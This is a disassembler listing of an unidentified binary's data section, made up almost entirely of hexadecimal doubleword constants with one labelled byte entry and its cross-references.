4817AD8Eh dd 4B77ECD8h, 4B9FCACh, 2D5C604h, 0D9FDCD0h, 0CFAB0147h dd 758BEFFFh, 0F5902094h, 0E622DE15h, 379D8818h, 0B8738050h dd 7E60B7FFh, 26889208h, 0FDE131EFh, 0C47C2538h, 0B731BAA6h dd 0D7C6603Eh, 0F98D2443h, 410023F3h, 7FF8F47Dh, 0A4FFB005h dd 88476887h, 0E990D123h, 3BDF5F96h, 93A9583Bh, 412424h dd 0F71A2DCCh, 6800CB6Bh, 36DC305Eh, 29B825h, 448181Fh dd 42EF3449h, 3B2EF900h, 0A292F44Ah, 62C602B7h, 151D949Ah dd 2D7740DFh, 9952002Ah, 469E9F81h, 0B000FA89h, 50B6FC92h dd 28CC87F6h, 0ABC8816h, 44038F24h, 0C0269D88h, 807EB65Ch dd 0C133DFFFh, 0F00857h, 5CE707E9h, 0CA7F5F58h, 950086F2h dd 6BF2DFF6h, 7352CCCEh, 0FDE301E9h, 0BFFF0EAh, 980FF06Ch dd 35A460C0h, 6C2B0E8h, 13F0EB90h, 848B38D9h, 0C304E7Dh dd 40224071h, 8D2340E0h, 13FB3B0Dh, 0E8D829DFh, 0ACBB00D6h dd 0A41FB7CFh, 0C8E88807h, 0B0E2C9C0h, 7AC9FCD6h, 0CE2500F3h dd 491B29BCh, 330FB295h, 19E4DD9h, 725970DAh, 5B3E7080h dd 746C1766h, 11063B00h, 29E6F2C4h, 1790323h, 0CF4FB79Ch dd 0ECA67E81h, 35000639h, 21B2554Dh, 76BDC4D7h, 0F640383Ah dd 6861D500h, 497BA003h, 0EA858207h, 6AA0BC47h, 78189294h dd 48FA7Ch, 2BD744EFh, 0BD62C827h, 0A716B80Fh, 3D9160D3h dd 7EEE3Eh, 9C0F5C82h, 31E184B2h, 0D38A5A07h, 0EED09DEBh dd 51519h, 0BFA66BDCh, 23D44814h, 316A6900h, 0AE4A7AAAh dd 7BDD078Ch, 0B1F46B4Bh, 0A11849E2h, 785704C8h, 4006F10h dd 802B3C3Ah, 639CDDEh, 270938D0h, 0B6002816h, 7E564A74h dd 35AE24Fh, 0A6714DA3h, 9C83C54h, 460401C6h, 14BAB607h dd 445B9644h, 0D24855C7h, 94D8A647h, 0EC1128BAh, 290E112Ah dd 2110F911h, 2BA23BAEh, 222A1A22h, 52501269h, 5744C814h dd 72228416h, 11864219h, 62282FD6h, 14275050h, 0DB22846Ah dd 119E422Dh, 1E221D50h, 5772DD07h, 848B8A67h, 0C280D0A8h dd 0F636D9h, 1CBC58AEh, 693FE179h, 3C4E7200h, 0BFF02DD4h dd 1FD80051h, 997D970Eh, 12032BA2h, 247EE50Ah, 0F4AD05Ah dd 0A6CC078Ch, 0C013C4AAh, 0F1A53422h, 0FE0D0901h, 3CAF891Ch dd 0BD75CCh, 0E19179CEh, 0B57B8516h, 0F1E9700h, 0D46A703Bh dd 0A0EF2E0Ch, 8A8F3893h, 8960A171h, 83118D6Fh, 7EB00900h dd 48BF7896h, 3C6C00D3h, 0D16A8CE0h, 8300D224h, 225C4BBCh dd 532C8Ah, 99E309E1h, 7F2D6CC8h, 8FEC660Bh, 49A90041h dd 7CBACF1h, 918B3D39h, 5CFEA15Ah, 0CD7CD85Eh, 754DB4Ch dd 0E1551ED9h, 2C97A00Fh, 0F3493Ch, 8AD3F0FEh, 0D9D157BDh dd 0F63D4572h, 56280D2h, 27C4C650h, 0CCD43089h, 5F590928h dd 5BC56404h, 70900F46h, 0C6F8D9h, 3D6FE618h, 1EDA1A07h dd 6499D100h, 0CF8B34BBh, 1EA5FE3Fh, 404C2696h, 0C233883h dd 5D071DDBh, 0D1ACBA0Ah, 31E2EB90h, 0FBC21FFDh, 2962C024h dd 5577FF50h, 0F5358500h, 0EFFA4E2Eh, 90C60148h, 8C789919h dd 449BE3B5h, 917307B0h, 4AEC4F00h, 0CBE65839h, 93EB0011h dd 2F21321Dh, 1F0114FAh, 0EAA52D55h, 0BAE05796h, 0FE4B013Bh dd 9151EF66h, 0EB70D058h, 0D45BE503h, 98FC18F7h, 279E73h dd 0B1B4D855h, 0D3840BB8h, 0C4B7CE00h, 237F74FBh, 6444008Eh dd 0E760A7F3h, 3AB85B46h, 3FF77E1Ch, 0E542C4C0h, 200883h dd 48A27C6Ah, 0D7278AC7h, 920C5F00h, 0E663EDAFh, 34DE00C6h dd 47A4178Fh, 3CF69C0Eh, 0BF38B800h, 31AF26BDh, 0D1800990h dd 0A800C40Dh, 74133F67h, 0C84A0600h, 4CCB8153h, 0BB5600E5h dd 60F20139h, 1B00E489h, 6CFDA062h, 1DE7D861h, 0C080ED5Eh dd 5C3E1659h, 4D00E598h, 5A546BE2h, 1F399230h, 52D3EFBFh dd 0CC5C000Ah, 53A465ACh, 699C2600h, 45BDDDF7h, 36B5C24h dd 3E90FE01h, 348713E7h, 0A0C0E584h, 0CF6FE9A9h, 57210007h dd 539F946Dh, 8E0E7CF1h, 80AC4C5Bh, 0DBA358FDh, 0D8D700A0h dd 0FB356BDh, 533D54D0h, 0E0A6B284h, 0A98B4038h, 47B90131h dd 5A6C1CB6h, 0EBD0430Fh, 6BF621D8h, 4ADC7600h, 0C6209206h dd 0E6597A11h, 555B0048h, 491FE4ACh, 0BD3F7898h, 0C390D427h dd 0D030C100h, 38B9FA50h, 9CA403h, 0D7F034DCh, 683EB090h dd 0E7F87600h, 0C45D5179h, 22D83AC7h, 45BBB18Ch, 0BA00252Ah dd 0AB5C6407h, 7C946289h, 1BAA008Ah, 8E332B67h, 1501FF6Eh dd 0A7F29193h, 83E05DE5h, 318904Dh, 8C0630CFh, 10980C5Ah dd 68E2A4D9h, 0B320E000h, 345128EFh, 5C70098h, 369DB1BCh dd 3F7730CDh, 84B6BE00h, 0E07E347Bh, 0AE460497h, 9F8857h dd 0CD2EDBE5h, 0D8EA004Bh, 0BBB8E174h, 0D20F3EF3h, 0E08BFC43h dd 0CEF1264Fh, 90614CAAh, 942928h, 40B744Ah, 0E0F88B7Bh dd 1D48648h, 24520DC1h, 0D6314E02h, 3BC080E2h, 0F8B9B6h dd 0A1366254h, 0D0BE182h, 9057E926h, 0C8459401h, 1D21CDF6h dd 7D0CB140h, 0D03849E4h, 0FC835C00h, 0BB7EB111h, 0AA6B6304h dd 2C818BF3h, 8510C370h, 34E8EF68h, 0A1625D00h, 37E06684h dd 0B8B4008Ch, 0EA26F107h, 1200210Fh, 0B1C254DAh, 39A16Dh dd 0BA1FF2DFh, 15FD90D0h, 3FCED00h, 9846D16Ch, 79A8003Ch dd 5C11ACC2h, 57F0885Dh, 0AFE82E00h, 2365CD0Ch, 0DEA0076h dd 0A9376FBEh, 3AEA0F15h dd 0E491DF03h, 0B01249B2h, 1FFD16Dh, 921BD354h, 6F812E63h dd 60853E82h, 0F4D87A8h, 737FBB0Ch, 0EC926A2h, 992E1CE8h dd 881CC491h, 0D923100h, 1D053E39h, 40BF46C1h, 24279AC9h dd 0CC90B201h, 0E7F6E02h, 826A8FDBh, 2062D994h, 20AADEA3h dd 7203D898h, 0E037B1E8h, 6BC8900Ah, 87A52E71h, 0CCCE1840h dd 0E57DB492h, 892E4Ch, 8C80084Bh, 79906Fh, 0A07EF355h dd 73F402CAh, 0D6CE5E00h, 0F86B5F9Ah, 9E580070h, 6424AC20h dd 0BC580A3Dh, 0F0BB0384h, 0F99AA96Fh, 8D4F3F5h, 59FC0082h dd 0A138DD8Ah, 8F0C769Dh, 42A0925h, 0A07FA7h, 69F3C2D6h dd 0C662C7D4h, 0A9FC4605h, 6A81151Ch, 0E08E534Fh, 5180BFDBh dd 0D3ED0256h, 648DCB00h, 935F549Bh, 3B7230h, 2646EB14h dd 0FFE91EECh, 1EB4755Ch, 70C02757h, 6C9944AEh, 6D2A00B1h dd 0D5C485D3h, 0F070678Ah, 0CCBB3616h, 926FA405h, 1EAAB80h dd 0A93C175Dh, 12C9000Bh, 229C8841h, 2197CE00h, 169FCD47h dd 6A601F28h, 4F9005Fh, 44E5EF09h, 0D17481F2h, 0D0C96D05h dd 0C0AA8B0Bh, 63A28DCDh, 0DEC531Eh, 6D9CAF00h, 0E936208h dd 0D0D882EBh, 84ACC1E0h, 5F0180E3h, 0A8B5D54Eh, 93FC1751h dd 53CD007Dh, 85BC3B33h, 440002CEh, 99410DC5h, 485CDE6Fh dd 73002974h, 82DD77ECh, 0E404CED2h, 0E1A3B7F4h, 7613CCC0h dd 8D71480h, 0DE00A0A5h, 0D91531CEh, 0EA0F19F0h, 0C05ABBD1h dd 28D4D55Bh, 33490021h, 4891B345h, 4A17E606h, 0A800899Eh dd 0F00B8AF5h, 10D7CEBh, 944837C7h, 3071E16Ah, 4F007410h dd 90998DE2h, 610891h, 0ADC03772h, 0AD6D233h, 3F50BB00h dd 97BFBC9Fh, 0A7D80064h, 63761270h, 0D300291Dh, 5DA59B39h dd 3E8CC31Ch, 2224BC37h, 0D6D10174h, 60332364h, 41C15DDh dd 6C479D07h, 0B170E292h, 8C4D08h, 6AD1E543h, 0F456A009h dd 0D4BE9B00h, 0B932DA73h, 0F7AE0E95h, 7AC60D07h, 2E00D823h dd 27CC9025h, 79CAE7h, 398AF6D8h, 73186769h, 0B8427500h dd 114D9771h, 0C23106A1h, 5CC67441h, 2237DF01h, 1D79ED2Ah dd 824520h, 533B7660h, 2752D22Ch, 981EBA24h, 8033470Bh dd 74B9D03h, 0F7E30103h, 0A5DAD1C6h, 622D8B9h, 0A2338E09h dd 30500C1Eh, 5AE30A2Eh, 1E46682h, 0EEBD8B9h, 185CCCF8h dd 6C6248h, 0B18815E5h, 90655FCEh, 0E3020038h, 0C80FCB42h dd 0E90CD1B2h, 0F04346DDh, 0C37A3D72h, 3C7A080h, 0A7CE36D9h dd 0B051EC00h, 6CEFDF98h, 117FC64h, 8C493CD5h, 818F408Bh dd 33A8BD58h, 9A20626Ah, 7D5B1F10h, 2D2740D8h, 0DFB1F955h dd 0C60D9D18h, 32658931h, 0CA783EFFh, 1D22BD81h, 30B3FC3Ah dd 0C7A4402h, 8014FD1Ch, 41E1F690h, 3A8C043Eh, 0C0D0B1C5h dd 25C8358h, 842E6892h, 0D907FC6Fh, 99E7DC92h, 62EA3E20h dd 9C7424EBh, 41281CD8h, 24B8D0D4h, 2390400Bh, 0A55832B2h dd 0F7007D98h, 70B046E2h, 586F62h, 3E7AFE41h, 9A0FD5B4h dd 3DE75E00h, 1F911A37h, 56732F55h, 280785F0h, 0C80A9DA2h dd 8090A812h, 0E567F7CAh, 7C72FFh, 0DB4777F2h, 858A601Dh dd 0D6A98100h, 7904EBA6h, 0BFF001ACh, 1674B825h, 0D049F4C1h dd 933D8AE6h, 2D9F009Ch, 58F8E824h, 0E62F45Dh, 0C6258035h dd 0B380FA49h, 0EA9869D8h, 0F2B69700h, 1F7662B0h, 7DE0B86h dd 0E000459Ah, 1CDC0378h, 17605F16h, 0E3CF991Fh, 46308251h dd 0F448C872h, 63AFA61h, 0A9F06B71h, 3900186Ah, 7E235BB4h dd 14388222h, 0B87D249Fh, 3C34B900h, 4CAB3A6Ah, 1100B390h dd 9230B7E6h, 391F358Bh, 0AD80775Fh, 0E468195Dh, 0EE1D882Dh dd 2664940Dh, 56E9B07h, 2180CF05h, 9CD24Dh, 3968427h, 1293C2E2h dd 4A77EB00h, 9E1C18F4h, 7DC30013h, 0E945AED6h, 7B757290h dd 84381B01h, 0C678E574h, 0A7F71F0h, 2F7CC28Ch, 0DE3B80D4h dd 22B5B146h, 0AC0333FAh, 0B3FB042Ah, 9B10B8FFh, 0CBB4007Eh dd 3ECCC6A6h, 5500DF09h, 7B7FB01h, 1D8E1066h, 528BB9A4h dd 1C852CBh, 0F0478A3Fh, 5BD440A0h, 0E6001929h, 2285AED2h dd 2658B7B4h, 14C2AAh, 73174F0Bh, 0A81E0393h, 7DD2DC8Fh dd 55448800h, 5895F4A2h, 403B06Fh, 0F67FEEA7h, 0D69B2100h dd 9856A399h, 0F463002Ch, 0BA4AF265h, 9E019021h, 2ED348EFh dd 682C1AF3h, 279DD60Fh, 53D4E00h, 4158E03Bh, 204889h dd 7B3A6474h, 75B71B6Ch, 95280082h, 2BD7D51Eh, 0E01FF09h dd 74CFA543h, 0B4302F71h, 3D9B2C45h, 87B3008Dh, 12CAF8F1h dd 4DC06209h, 27480E36h, 0B080D141h, 9074566Dh, 0DAC8A0CFh dd 66E70E93h, 98C015FFh, 7C49FD73h, 0A2726h, 44679205h dd 48F184CCh, 0C400D823h, 9615F82Dh, 0E1037512h, 0F0EE9019h dd 9164D879h, 996D0016h, 0D7D85A48h, 0E51EA913h, 0DD00CA19h dd 0F6A65E6Ah, 2D0E04A7h, 804A6B1Fh, 4E2FC770h, 0D4527260h dd 3F19907Bh, 0C82ED04Ch, 0DC4A8014h, 949D1FC3h, 2D5D790Eh dd 7107E065h, 1C4C9EF7h, 4068EBF3h, 98168E8Fh, 20988A41h dd 3341D00h, 0C2D51CFEh, 8EEE007Fh, 20E2A5B5h, 25009C8Ch dd 7E0FE150h, 413929Dh, 0AE2131C2h, 6000C77Fh, 0F55A4AB5h dd 0BFFD0A0h, 4742B900h, 203079ABh, 0A4750008h, 0DA9DB02Eh dd 0AE00C85Fh, 23428A5Eh, 60C5EB18h, 4CA6E01Ch, 0A048CDF0h dd 0ED4E00DCh, 98275632h, 28C30478h, 909EDB22h, 3D8BA654h dd 37386A09h, 805000F8h, 3C3F93FBh, 0F8FEDAEBh, 2383001Fh dd 5BE8AFADh, 0C028E97h, 0F053B6C0h, 3919C04Bh, 193539D2h dd 6D3326h, 0BD0C4E4Ah, 3A00C342h, 0A61DA707h, 1F0B6A4h dd 8290BE25h, 20BB474Eh, 3900F1A9h, 450B5034h, 5385D2h dd 0DE29588Fh, 0EF9F60A8h, 8352C828h, 6316B3Eh, 5470041Ch dd 1B5D00D0h, 1AC5F560h, 5C0090DDh, 6EA181BAh, 0E64E554h dd 656BDB7Dh, 50768EE7h, 0FAEB4DDh, 2453D81Eh, 0A3A869C0h dd 3D554DA1h, 0EC002CCBh, 0E179231h, 41006E76h, 0FC08D16Ah dd 0EA684D1Eh, 70CFE78h, 46067B7Ah, 22CE011Ch, 75BC4005h dd 9F606D4Bh, 0BBA5C9F9h, 0FF4900DFh, 56D039DDh, 79008F55h dd 663D20D7h, 94EBC5h, 616A67A8h, 0E54EB6F7h, 2E9C00BFh dd 48B70DC1h, 0E200900Ch, 117FD4F9h, 2204E780h, 9F2E2BE9h dd 66C0A4h, 0F11AB6A8h, 83E76BE1h, 12999158h, 0CC12EEDh dd 0A7E82DC8h, 0C0CF00F3h, 0A1EF764Eh, 20C07D43h, 0D8170FF7h dd 404D002Fh, 1B851A31h, 514183A1h, 0F192E3F2h, 0FC28469Ah dd 1DD0A804h, 2B2FC0C8h, 70E0E40Fh, 574A8B00h, 2211F4D9h dd 0BB97009Bh, 21C09ABh, 0E8015529h, 86F22684h, 0C064F6C6h dd 9C444C0Ch, 71601DCFh, 4FC7CAD7h, 1B109816h, 78D12418h dd 0BD7540F5h, 66240972h, 520004B1h, 8111131Ch, 75EE0047h dd 4548044h, 24002092h, 0C6431F3Fh, 0C57FCB1Ch, 0FFDBCD0h dd 8E0256D5h, 0E08207B1h, 985897C2h, 880D4124h, 882B1280h dd 3D5696AFh, 98015816h, 4340D62Fh, 0EC0C7183h, 0C2207757h dd 0EB14041Ch, 53D734h, 284E6493h, 9D4FE0Eh, 43F28474h dd 0FB992081h, 0FC06D488h, 807F0300h, 85915604h, 42FA008Dh dd 387D3F1Fh, 410093F4h, 0C512F854h, 0B0DC4DDAh, 886F1238h dd 0CBF0C8A8h, 0F9A3CF00h, 3DD6C240h, 90D00F9Dh, 0BE608A63h dd 238B4370h, 57004DFEh, 0F9E9657Dh, 16277Ah, 0F4343059h dd 0E78CFB6Fh, 3C57C01h, 0BA1999C4h, 0FEE5C0h, 520A852Fh dd 1DCF391Bh dd 30CD5F00h, 0B01FC102h, 859D03F6h, 61526463h, 0EB1E88F0h dd 6272AF0Eh, 0B6D5E006h, 3D1482h, 9CA18940h, 0A8688135h dd 0BFCA0407h, 8330574Fh, 30B77EEh, 8D40D94Ch, 28B0BEA6h dd 0C269E6EDh, 0D0FD804Eh, 12EF66Fh, 0D2329987h, 0C5F55D82h dd 51B0E4C7h, 5ECDFD00h, 0E393A6Bh, 0E57500C1h, 10D1330Ch dd 6900BD56h, 0F315DA96h, 0E47B1Eh, 652A8577h, 4D7E1DA1h dd 0AD00BE90h, 6255ECDAh, 48D26D48h, 0BE00D5E0h, 4D35738Ch dd 4B0070D1h, 0D02DFE5Fh, 1936639Ch, 0C93B1692h, 0D2E8D79Ah dd 0AF44BE3Ch, 777012h, 74C60D5Dh, 2F42A7A9h, 0FAC1BA00h dd 6CD5D9A4h, 7311065Fh, 6057E0B7h, 6D9AFC1Fh, 6E5EB900h dd 7D3892Ch, 1AE0CFCAh, 2E24405Ch, 0A008FFDh, 0A5546D61h dd 0E4C59333h, 52940FF0h, 0A1EFFC7Ah, 5EA0992Fh, 3CED5A10h dd 63255C00h, 0E139B68Eh, 589A00C0h, 5E7085CFh, 5C006FFBh dd 0DB2BB208h, 28BEDCh, 9CE7CD88h, 25572A69h, 1B617A0Fh dd 0C9230409h, 0B9AB0490h, 0C6200035h, 8AE6DF15h, 4E0067E9h dd 0F10A64BCh, 57974Bh, 0C510E35Eh, 46761B6Bh, 0DC8EE900h dd 91089094h, 0D662004Dh, 0E3DE7715h, 6D005CAEh, 0F12370C6h dd 74DF1DBAh, 0A57B8Ch, 0D5F9F3E8h, 0AD6585D6h, 0B5B4C200h dd 1ECFADAh, 9117938h, 569A797Eh, 7D6A807Dh, 4830DFEAh dd 9B1731D6h, 4B57007Fh, 0E07414D5h, 0E1E43209h, 0A1600160h dd 0CB209B99h, 886600AFh, 0D07524C8h, 8D1219E3h, 2C00357Ah dd 0BA515FCCh, 0F098009Eh, 2A471E2Bh, 312B750h, 1A00345Ch dd 11FDDCAAh, 5E910E38h, 0ADE08F7Bh, 84965B8h, 6C56F0Fh dd 654C0F3Dh, 88805995h, 0C9E412h, 0BB38744Bh, 0D19F314Fh dd 8F6BEFEh, 8EE6F100h, 9BAF5EE0h, 0A8900220h, 0C1DEA34Ah dd 1F75C480h, 0AE380E5Bh, 0E6FD80DFh, 8A92F7A4h, 45CA0025h dd 0C34F6CBDh, 0E500A34Bh, 0DC1E08C7h, 34B550h, 8464AD80h dd 868D5D21h, 0FC725303h, 9FDEE1D6h, 5983C70h, 0B7AB0E4Eh dd 0B540B22Ah, 0CDDCFE3h, 0F57BC100h, 0E1E99054h, 0D38A00A1h dd 9E9AE031h, 550F9712h, 0C0330A99h, 0ECDC797Fh, 252007Dh dd 0DDE3A926h, 840EE79Fh, 420A315Ch, 400E5FF3h, 9CF8F4h dd 62252C0Bh, 7B9235D0h, 739ADC00h, 94120816h, 0E02A4AC2h dd 24E49E2Fh, 4400457Dh, 0FCA30F7Ch, 1C1B974Ah, 477EED5Bh dd 0B0E605D2h, 0CECCF666h, 0B6192D00h, 7D28AF6Ch, 2D609DDDh dd 0E0074461h, 0C0F08668h, 32A75510h, 38517492h, 4C808F43h dd 82C583BEh, 0B903DD42h, 0FA400F9Fh, 0B0ABC8EAh, 53CE0072h dd 69466A88h, 0FFB886A5h, 5F17101h, 9D8A22E5h, 310F1C32h dd 0B854B248h, 1C00113Eh, 901B8D7Eh, 43007417h, 9FEF68AAh dd 14A07C7h, 0BBEA8693h, 0CCDC59CBh, 0AB0F5EFDh, 815F67D4h dd 0F719E2F6h, 7F8A6ED4h, 28CA0CDh, 1DC40657h, 0A15E8929h dd 18071C90h, 0C0871395h, 521937F0h, 0C7FFA24h, 860E8B2Bh dd 0E07C3928h, 74CD591Eh, 0E07BC94Fh, 6780E2A4h, 0E1A10029h dd 0B9C60B3Dh, 561F3045h, 1743851Ch, 98E020A9h, 0AAC2F37h dd 10E8659Dh, 0FDBF0FD0h, 84FBA4A0h, 99302CF3h, 0BB52E0CBh dd 8E2F243Eh, 34A20088h, 7A63A3B6h, 7526891Fh, 0B71E3F40h dd 405C52h, 0DE0ED942h, 1C4DC492h, 0EB00DC90h, 8E36D6A5h dd 835A20h, 0AB3F4113h, 0B511FF14h, 17ADD300h, 0CF276DC3h dd 0B11C1C9Bh, 0BE2A8703h, 0C1875030h, 0B458A559h, 0ACD02A5h dd 48D5284Fh, 7D08B1ACh, 0AACC009Fh, 6A22779h, 2A7B8D91h dd 5110700Ah, 2900872Dh, 0B8E61192h, 50FE00C1h, 311C3B39h dd 6900B486h, 0DF700267h, 4CF629BFh, 0A00F445h, 0A14DBA99h db 73h byte_520045 db 0DEh, 16h, 8Fh ; DATA XREF: ___:00437DC8o ; ___:00437DE0o dd 98004EE0h, 9554D4A4h, 0F25E0019h, 26585069h, 6100C7C1h dd 6B474D1Dh, 0EF344FDh, 937E5977h, 2400B5E9h, 9A62E2C6h dd 0E66BCF00h, 0EDBB910Dh, 88158F2h, 1944D300h, 0B8B36556h dd 13006C76h, 0ACEAAD55h, 0ED83BCh, 260D39A7h, 0E8D7ECBDh dd 9E7C50Eh, 0D843408Ch, 7A32FEh, 0C340304Ah, 0A3ACCD1Eh dd 5423751Ch, 96CC1542h, 0D9C40ADh, 83F40079h, 467F706Eh dd 3000B4CDh, 971F5C4Ch, 506CFDh, 4F513E76h, 7D05DAEAh dd 428D2C1Eh, 106180F9h, 0A25877ADh, 8EC91E5Ch, 8F754396h dd 35A0E4E8h, 0FE005356h, 12D709E6h, 266BBD62h, 80D0F2B3h dd 0A3245EF7h, 14020D95h, 0F11CDA98h, 0B8A9E364h, 0A551E8h dd 87D28A50h, 3C676CC3h, 0B3009C98h, 6BAFC496h, 1D8E9F75h dd 836A82CEh, 0CA92ED3Dh, 97FFDB90h, 207F242Ch, 9E786D00h dd 486887D3h, 0C100B819h, 280EDBF6h, 36161073h, 0BF016B2Eh dd 233F971h, 5170841h, 0D0C70B13h, 7F6A8149h, 0DED25700h dd 834246DBh, 0BECE0068h, 3164CC5Ch, 0D80028FCh, 22DADD4Dh dd 3C9370D3h, 81001A34h, 0C3CCF8EAh, 6BFE9E79h, 9BED38h dd 305B5C2Eh, 0E9F67B33h, 1E6FA3E0h, 7A1DB7h, 9819ACD9h dd 47167F17h, 400491Fh, 0E27C40F8h, 0A4F15DF4h, 8285CC00h dd 3D26BB19h, 1E74D378h, 0CEB7CD00h, 15673CDDh, 0E9A200D4h dd 0F875358Fh, 0F0E9307h, 20D202E4h, 0A2820533h, 0D4FA00ECh dd 8DE30475h, 28007120h, 395B9DC7h, 3C1D8A38h, 37802612h dd 458CA266h, 0CE00D1E8h, 0DFF6F140h, 0FB86F41h, 4F2A7E8Bh dd 0A02CCCE0h, 0F90778D6h, 0F01C72F5h, 82D0FD47h, 7DA7E9DDh dd 0BDD20050h, 658D57EBh, 0CA00AECFh, 7A117E61h, 7760E2Eh dd 35EF1640h, 5B38C083h, 7B0006FCh, 3C02942Ah, 54BB12ABh dd 0D68407h, 0FE31A22Eh, 15674E9h, 2F3F7B13h, 6C2C1440h dd 0EB6D39Ch, 4D1B3D5Eh, 800F0839h, 9C347221h, 4FD57Ah dd 1416B350h, 3AE1268h, 51CD61C3h, 1005FB2Fh, 0FDB168h dd 72283F3h, 905D047Bh, 0CE0212B3h, 3F38406Ah, 9199AD0Eh dd 680D727Fh, 3820C598h, 0A8752199h, 1F691878h, 63B5C29Ch dd 73000111h, 0B5EF9C31h, 92182E62h, 0B750222Dh, 506600F0h dd 0DDAEAFE1h, 0B2000933h, 0AB3A32B0h, 3034CCBFh, 557976C9h dd 6301C84Ah, 0DD2EA09Eh, 89870F4h, 43DB2108h, 152FC25Ch dd 2E80F9D5h, 3D33EEh, 504ADE11h, 0E059DAh, 0A316B64Fh dd 1D76732Bh, 47047403h, 8DDC5E77h, 0C9217490h, 0CB62C0F0h dd 0DB460E11h, 773508C6h, 0E11F0120h, 3A5D8CF0h, 0B0F8FCD2h dd 4875AD36h, 1E0A2058h, 0D7B72407h, 40905EDEh, 0DA0D5h dd 0C9499F46h, 0F27494B0h, 5FEB200h, 9C71DB59h, 0C2BA0EAFh dd 0E4608E9Eh, 99F9346Ah, 0FD355D00h, 69B6CAFEh, 8B9B008Ch dd 9078F824h, 82006BBFh, 0C1D8D038h, 0CABBECh, 0E83D893Ah dd 676D5A16h, 18004DFEh, 778478C4h, 8137E3h, 0A2608AB3h dd 11D82B99h, 96004171h, 40C456A6h, 0C574CBh, 78B0DD04h dd 9859F2Bh, 73925C07h, 0E7503EEAh, 1E3676h, 70745E7Eh dd 5583F17Dh, 18BED900h, 8F4058A5h, 0C1D70323h, 90575E36h dd 80DD15E9h, 6D727C38h, 0A43725h, 8DF6613Bh, 0A6B549F1h dd 128F391Eh, 0E1AD2D4Fh, 3D732F70h, 62F0B0CDh, 0F3670FE2h dd 238672A6h, 12001960h, 43338B57h, 0D42B2Dh, 49F30931h dd 2129AA30h, 0F770581Fh, 41309558h, 1F40C4F5h, 0B55500B7h dd 0B831220Ch, 6BF33CACh, 0BAC8F430h, 7800423Ah, 303976D2h dd 4F69B7h, 3745B6Ch, 6BCB86FDh, 0B6DB171Dh, 0B0012830h dd 0D3F176h, 7028AB38h, 870449C3h, 3E080E00h, 307D034h dd 101E7C13h, 719BE79h, 0B4181B0Ah, 0F87A5DF0h, 0DE3B013Ch dd 0BFBDB92Ah, 492FE802h, 85F9E8FDh, 0F511F806h, 119D98Fh dd 709ECF2Dh, 0F1DD3CAEh, 0BF5D103Dh, 92FE0C3Bh, 426852DCh dd 0D62A9313h, 98B0CA00h, 73FE25B7h, 495F01B9h, 66F9D060h dd 0DF85E421h, 4F48CD60h, 89401Ah, 7B78F51Eh, 0CEF183ACh dd 0C71CA974h, 42026B08h, 0A1334D28h, 55D80998h, 0A5CC7180h dd 1F112E6Bh, 4EEE6D00h, 3B5C2906h, 0B81A3977h, 1CB93h dd 64FB2D62h, 0B500B2CEh, 917A7DB0h, 0C06324h, 2D4FB4A0h dd 2B8AFA21h, 0D2585D00h, 791666E7h, 0B0F60098h, 3E7B142Eh dd 0A13E3DC0h, 60F7001Dh, 0CC075DF8h, 2B89030Dh, 7F6E7242h dd 0C522180Ch, 245023h, 26DEE699h, 8B02E395h, 0CC2EA17Ch dd 68001D60h, 32A3B0E2h, 0F8BD309Ah, 46AF2380h, 8309043Dh dd 0A7C53AC0h, 0E465B36Bh, 7C7F8983h, 0D9ED0088h, 0BAABE3DAh dd 0F300C112h, 97E2CCF5h, 353FAA7h, 0ACB97922h, 0A9C88590h dd 5C265BA1h, 0C40F02CBh, 6EAD038Ch, 23C91798h, 0EB8169Ah dd 2A2C7509h, 8F30B4C0h, 84B7C8D8h, 80F6000Ch, 144CAD94h dd 9C0187EAh, 8301C34h, 44A1DDFh, 402FC0ABh, 780819Fh dd 929028B2h, 294B204Ch, 8E00DBA4h, 0A13C7D51h, 1E9F486Ch dd 7965C0h, 9780FB7Fh, 537CB581h, 7D928300h, 0B66E0828h dd 0B950013Ch, 6402904Fh, 9807F094h, 5C1C431Eh, 9D925887h dd 29FA0B0h, 0DEDD0783h, 8067A251h, 88B76959h, 9DB4C000h dd 60D42F9Bh, 11661CE1h, 0B7B8309Ah, 7A009247h, 86D81785h dd 9496BCFh, 2AF2F0B2h, 35E73080h, 0C3504E13h, 9F446C14h dd 0BE2446Eh, 9D542284h, 0BA114042h, 827217Fh, 1490511Bh dd 44D62D84h, 98449B73h, 42684847h, 4F228E41h, 480F2299h dd 0F021BC24h, 103B127Eh, 50884269h, 7B398864h, 0E6089789h dd 0A0A4C344h, 89824728h, 444308A3h, 14A0F8BFh, 7F899A1Dh dd 0FB442F08h, 0C427898Ch, 593F68B3h, 94A1801Eh, 0BCDF404Ah dd 4BD81DCDh, 1D504E3Ch, 0CF1AB380h, 7D16BE2Ah, 76006544h dd 0A899BA64h, 6721FA2h, 9D95C0D8h, 67B4CEA0h, 0B068B800h dd 0E693CB13h, 0D43F0029h, 0E8B524FDh, 3300D725h, 0BEA28D68h dd 0AB95B2h, 2DAF1A04h, 6FBB665Ch, 0C5F6C107h, 79F2F3Bh dd 20C0DD90h, 9CFB26h, 9B496CF0h, 2BE48795h, 5004BB03h dd 0E09668F4h, 0FE3A4C5h, 0A51F05B3h, 39EAACE0h, 8400E813h dd 0B1D273A2h, 0FBEFF8h, 0E043AF2Dh, 9036021Ah, 0FF8F7C02h dd 484B8406h, 0FE2A8h, 74BC47FCh, 52F205E6h, 0BE969100h dd 6C6DF4EEh, 115700B0h, 0E44FED63h, 5600E88Fh, 0E040FE9Dh dd 182CAC28h, 10AEEB3Bh, 0C20076E3h, 0EA1F0EFh, 4CAA170Fh dd 900E437h, 8E467C6Ah, 0B13929D3h, 0FFAF003Ah, 0DBDC3785h dd 7E2700C9h, 32EBC307h, 0D228351Eh, 750EA065h, 0C06CE437h dd 24D87CE9h, 22A901C5h, 0FC87B45Eh, 152980D0h, 60CBF55Bh dd 0C5663D0Dh, 2CA42600h, 0C3712E05h, 0B3909400h, 0B1DD92BEh dd 8619C044h, 38ADE6E1h, 0F5D61B00h, 8BA0889Fh, 0AA7600A2h dd 0D3932C6h, 0CE00F769h, 9D7F04E1h, 35816Fh, 7745744Ah dd 0BB75DB60h, 3CE9B501h, 3327788Bh, 0A041D4h, 66D6DD3Fh dd 0C4FBD530h, 0EB010898h, 23EA124Bh, 7EEC2B3Eh, 0E4AB0048h dd 4AF7730Eh, 91C5A41h, 4C026C8h, 0BD3C9F49h, 493576F6h dd 0AD00583Bh, 259CE4E9h, 0A024CBE1h, 6F000CA3h, 0A805344Eh dd 0E0C03D39h, 60094F00h, 991CB2E7h, 0D5928E00h, 23176662h dd 2A88A09Fh, 73BB03AAh, 2FFCDBACh, 3580D683h, 